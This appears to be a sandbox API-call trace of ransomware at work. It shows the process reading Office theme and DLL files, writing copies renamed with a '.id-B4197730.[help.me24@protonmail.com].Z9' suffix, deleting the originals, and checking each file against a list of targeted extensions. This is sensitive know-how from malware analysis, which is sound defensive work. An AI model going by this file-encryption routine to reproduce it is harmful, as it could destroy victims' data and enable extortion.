	[0168.808] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.808] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0
	[0168.809] GetLastError () returned 0x0
	[0168.809] ReadFile (in: hFile=0x4d0, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x2d753, lpOverlapped=0x0) returned 1
	[0168.832] WriteFile (in: hFile=0x4c0, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x2d760, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x2d760, lpOverlapped=0x0) returned 1
	[0168.835] ReadFile (in: hFile=0x4d0, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.835] WriteFile (in: hFile=0x4c0, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0168.835] SetEndOfFile (hFile=0x4c0) returned 1
	[0168.835] CloseHandle (hObject=0x4c0) returned 1
	[0168.836] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.836] SetEndOfFile (hFile=0x4d0) returned 1
	[0168.841] CloseHandle (hObject=0x4d0) returned 1
	[0168.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0168.842] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx")) returned 1
	[0168.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0168.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0168.843] lstrlenW (lpString=".doc") returned 4
	[0168.843] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0168.843] lstrlenW (lpString=".docx") returned 5
	[0168.843] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0168.843] lstrlenW (lpString=".pdf") returned 4
	[0168.843] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0168.843] lstrlenW (lpString=".xls") returned 4
	[0168.843] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0168.843] lstrlenW (lpString=".xlsx") returned 5
	[0168.843] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0168.843] lstrlenW (lpString=".ppt") returned 4
	[0168.843] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0168.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0168.843] lstrlenW (lpString=".zip") returned 4
	[0168.843] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0168.843] lstrlenW (lpString=".rar") returned 4
	[0168.843] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0168.843] lstrlenW (lpString=".bz2") returned 4
	[0168.843] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0168.843] lstrlenW (lpString=".7z") returned 3
	[0168.843] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0168.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0168.843] lstrlenW (lpString=".dbf") returned 4
	[0168.843] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0168.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0168.843] lstrlenW (lpString=".1cd") returned 4
	[0168.843] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0168.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0168.843] lstrlenW (lpString=".jpg") returned 4
	[0168.844] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0168.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0168.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0168.844] lstrlenW (lpString=".doc") returned 4
	[0168.844] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0168.844] lstrlenW (lpString=".docx") returned 5
	[0168.844] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0168.844] lstrlenW (lpString=".pdf") returned 4
	[0168.844] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0168.844] lstrlenW (lpString=".xls") returned 4
	[0168.844] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0168.844] lstrlenW (lpString=".xlsx") returned 5
	[0168.844] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0168.844] lstrlenW (lpString=".ppt") returned 4
	[0168.844] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0168.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0168.844] lstrlenW (lpString=".zip") returned 4
	[0168.844] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0168.844] lstrlenW (lpString=".rar") returned 4
	[0168.844] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0168.844] lstrlenW (lpString=".bz2") returned 4
	[0168.844] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0168.844] lstrlenW (lpString=".7z") returned 3
	[0168.844] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0168.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0168.844] lstrlenW (lpString=".dbf") returned 4
	[0168.844] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0168.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0168.844] lstrlenW (lpString=".1cd") returned 4
	[0168.844] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0168.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0168.844] lstrlenW (lpString=".jpg") returned 4
	[0168.844] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0168.845] lstrcmpiW (lpString1=".eftx", lpString2=".Z9") returned -1
	[0168.845] lstrlenW (lpString="Subtle Solids.eftx") returned 18
	[0168.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0
	[0169.114] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=45435) returned 1
	[0169.115] CloseHandle (hObject=0x4f0) returned 1
	[0169.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx")) returned 0x220
	[0169.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0169.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0
	[0169.126] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.126] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0169.127] GetLastError () returned 0x0
	[0169.127] ReadFile (in: hFile=0x4f0, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0xb17b, lpOverlapped=0x0) returned 1
	[0169.131] WriteFile (in: hFile=0x4a8, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0xb180, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0xb180, lpOverlapped=0x0) returned 1
	[0169.133] ReadFile (in: hFile=0x4f0, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.133] WriteFile (in: hFile=0x4a8, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0169.134] SetEndOfFile (hFile=0x4a8) returned 1
	[0169.134] CloseHandle (hObject=0x4a8) returned 1
	[0169.134] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.134] SetEndOfFile (hFile=0x4f0) returned 1
	[0169.140] CloseHandle (hObject=0x4f0) returned 1
	[0169.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0169.140] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx")) returned 1
	[0169.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0169.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0169.141] lstrlenW (lpString=".doc") returned 4
	[0169.141] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0169.141] lstrlenW (lpString=".docx") returned 5
	[0169.141] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0169.141] lstrlenW (lpString=".pdf") returned 4
	[0169.141] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0169.142] lstrlenW (lpString=".xls") returned 4
	[0169.142] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0169.142] lstrlenW (lpString=".xlsx") returned 5
	[0169.142] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0169.142] lstrlenW (lpString=".ppt") returned 4
	[0169.142] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0169.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0169.142] lstrlenW (lpString=".zip") returned 4
	[0169.142] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0169.142] lstrlenW (lpString=".rar") returned 4
	[0169.142] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0169.142] lstrlenW (lpString=".bz2") returned 4
	[0169.142] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0169.142] lstrlenW (lpString=".7z") returned 3
	[0169.142] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0169.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0169.142] lstrlenW (lpString=".dbf") returned 4
	[0169.142] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0169.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0169.142] lstrlenW (lpString=".1cd") returned 4
	[0169.142] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0169.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0169.142] lstrlenW (lpString=".jpg") returned 4
	[0169.142] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0169.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0169.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0169.143] lstrlenW (lpString=".doc") returned 4
	[0169.143] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0169.143] lstrlenW (lpString=".docx") returned 5
	[0169.143] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0169.143] lstrlenW (lpString=".pdf") returned 4
	[0169.143] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0169.143] lstrlenW (lpString=".xls") returned 4
	[0169.143] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0169.143] lstrlenW (lpString=".xlsx") returned 5
	[0169.143] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0169.143] lstrlenW (lpString=".ppt") returned 4
	[0169.143] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0169.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0169.143] lstrlenW (lpString=".zip") returned 4
	[0169.143] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0169.143] lstrlenW (lpString=".rar") returned 4
	[0169.143] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0169.143] lstrlenW (lpString=".bz2") returned 4
	[0169.143] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0169.143] lstrlenW (lpString=".7z") returned 3
	[0169.143] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0169.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0169.143] lstrlenW (lpString=".dbf") returned 4
	[0169.143] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0169.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0169.143] lstrlenW (lpString=".1cd") returned 4
	[0169.143] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0169.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0169.144] lstrlenW (lpString=".jpg") returned 4
	[0169.144] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0169.144] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0169.144] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41
	[0169.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0
	[0169.147] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=19136) returned 1
	[0169.147] CloseHandle (hObject=0x4f0) returned 1
	[0169.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x220
	[0169.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0169.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0169.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0169.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0169.148] lstrlenW (lpString=".doc") returned 4
	[0169.148] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0169.148] lstrlenW (lpString=".docx") returned 5
	[0169.148] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0169.148] lstrlenW (lpString=".pdf") returned 4
	[0169.148] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0169.148] lstrlenW (lpString=".xls") returned 4
	[0169.148] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0169.148] lstrlenW (lpString=".xlsx") returned 5
	[0169.148] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0169.148] lstrlenW (lpString=".ppt") returned 4
	[0169.148] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0169.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0169.148] lstrlenW (lpString=".zip") returned 4
	[0169.149] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0169.149] lstrlenW (lpString=".rar") returned 4
	[0169.149] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0169.149] lstrlenW (lpString=".bz2") returned 4
	[0169.149] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0169.149] lstrlenW (lpString=".7z") returned 3
	[0169.149] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0169.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0169.149] lstrlenW (lpString=".dbf") returned 4
	[0169.149] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0169.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0169.149] lstrlenW (lpString=".1cd") returned 4
	[0169.149] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0169.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0169.149] lstrlenW (lpString=".jpg") returned 4
	[0169.149] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0169.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0169.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0169.149] lstrlenW (lpString=".doc") returned 4
	[0169.149] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0169.149] lstrlenW (lpString=".docx") returned 5
	[0169.149] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0169.149] lstrlenW (lpString=".pdf") returned 4
	[0169.149] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0169.149] lstrlenW (lpString=".xls") returned 4
	[0169.149] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0169.149] lstrlenW (lpString=".xlsx") returned 5
	[0169.150] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0169.150] lstrlenW (lpString=".ppt") returned 4
	[0169.150] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0169.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0169.150] lstrlenW (lpString=".zip") returned 4
	[0169.150] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0169.150] lstrlenW (lpString=".rar") returned 4
	[0169.150] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0169.150] lstrlenW (lpString=".bz2") returned 4
	[0169.150] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0169.150] lstrlenW (lpString=".7z") returned 3
	[0169.150] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0169.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0169.150] lstrlenW (lpString=".dbf") returned 4
	[0169.150] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0169.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0169.150] lstrlenW (lpString=".1cd") returned 4
	[0169.150] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0169.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0169.150] lstrlenW (lpString=".jpg") returned 4
	[0169.150] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0169.150] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0169.150] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32
	[0169.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0
	[0169.152] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=19136) returned 1
	[0169.153] CloseHandle (hObject=0x4f0) returned 1
	[0169.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x220
	[0169.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0169.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0169.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0169.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0169.153] lstrlenW (lpString=".doc") returned 4
	[0169.154] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0169.154] lstrlenW (lpString=".docx") returned 5
	[0169.154] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0169.154] lstrlenW (lpString=".pdf") returned 4
	[0169.154] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0169.154] lstrlenW (lpString=".xls") returned 4
	[0169.154] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0169.154] lstrlenW (lpString=".xlsx") returned 5
	[0169.154] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0169.154] lstrlenW (lpString=".ppt") returned 4
	[0169.154] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0169.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0169.154] lstrlenW (lpString=".zip") returned 4
	[0169.154] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0169.154] lstrlenW (lpString=".rar") returned 4
	[0169.154] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0169.154] lstrlenW (lpString=".bz2") returned 4
	[0169.154] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0169.154] lstrlenW (lpString=".7z") returned 3
	[0169.154] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0169.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0169.154] lstrlenW (lpString=".dbf") returned 4
	[0169.154] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0169.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0169.154] lstrlenW (lpString=".1cd") returned 4
	[0169.154] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
